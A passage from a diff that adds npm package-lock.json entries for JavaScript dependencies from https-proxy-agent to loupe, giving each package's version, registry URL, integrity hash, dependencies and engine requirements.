"https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.2.tgz", + "integrity": "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA==", + "dev": true, + "dependencies": { + "agent-base": "^7.0.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/human-signals": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-5.0.0.tgz", + "integrity": "sha512-AXcZb6vzzrFAUE61HnN4mpLqd/cSIwNQjtNWR0euPm6y0iqx3G4gOXaIDdtdDwZmhwe82LA6+zinmW4UBWVePQ==", + "dev": true, + "engines": { + "node": ">=16.17.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ignore": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.0.tgz", + "integrity": "sha512-g7dmpshy+gD7mh88OC9NwSGTKoc3kyLAZQRU1mt53Aw/vnvfXnbC+F/7F7QoYVKbV+KNvJx8wArewKy1vXMtlg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dev": true, + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/internal-slot": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.6.tgz", + "integrity": "sha512-Xj6dv+PsbtwyPpEflsejS+oIZxmMlV44zAhG479uYu89MsjcYOhCFnNyKrkJrihbsiasQyY0afoCl/9BLR65bg==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.2", + "hasown": "^2.0.0", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz", + "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "is-typed-array": "^1.1.10" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-async-function": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz", + "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "dependencies": { + "has-bigints": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "dev": true, + "dependencies": { + "hasown": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.0.2.tgz", + "integrity": "sha512-0by5vtUJs8iFQb5TYUHHPudOR+qXYIMKtiUzvLIZITZUjknFmziyBJuLhVRc+Ds0dREFlskDNJKYIdIzu/9pfw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-set": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-3.0.0.tgz", + "integrity": "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "dependencies": { + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz", + "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==", + "dev": true, + "dependencies": { + "which-typed-array": "^1.1.11" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakmap": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dev": true, + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz", + "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==", + "dev": true, + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/iterator.prototype": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.2.tgz", + "integrity": "sha512-DR33HMMr8EzwuRL8Y9D3u2BMj8+RqSE850jfGu59kS7tbmPLzGkZmVSfyCFSDxuZiEY6Rzt3T2NA/qU+NwVj1w==", + "dev": true, + "dependencies": { + "define-properties": "^1.2.1", + "get-intrinsic": "^1.2.1", + "has-symbols": "^1.0.3", + "reflect.getprototypeof": "^1.0.4", + "set-function-name": "^2.0.1" + } + }, + "node_modules/jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "dev": true, + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsdom": { + "version": "23.0.1", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-23.0.1.tgz", + "integrity": "sha512-2i27vgvlUsGEBO9+/kJQRbtqtm+191b5zAZrU/UezVmnC2dlDAFLgDYJvAEi94T4kjsRKkezEtLQTgsNEsW2lQ==", + "dev": true, + "dependencies": { + "cssstyle": "^3.0.0", + "data-urls": "^5.0.0", + "decimal.js": "^10.4.3", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^4.0.0", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.2", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.7", + "parse5": "^7.1.2", + "rrweb-cssom": "^0.6.0", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.1.3", + "w3c-xmlserializer": "^5.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^3.1.1", + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0", + "ws": "^8.14.2", + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "canvas": "^2.11.2" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true + }, + "node_modules/jsonc-parser": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.2.0.tgz", + "integrity": "sha512-gfFQZrcTc8CnKXp6Y4/CBT3fTc0OVuDofpre4aEeEpSBPV5X5v4+Vmx+8snU7RLPrNHPKSgLxGo9YuQzz20o+w==", + "dev": true + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true + }, + "node_modules/local-pkg": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/local-pkg/-/local-pkg-0.5.0.tgz", + "integrity": "sha512-ok6z3qlYyCDS4ZEU27HaU6x/xZa9Whf8jD4ptH5UZTQYZVYeb9bnZ3ojVhiJNLiXK1Hfc0GNbLXcmZ5plLDDBg==", + "dev": true, + "dependencies": { + "mlly": "^1.4.2", + "pkg-types": "^1.0.3" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/loupe": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.7.tgz", + "integrity": 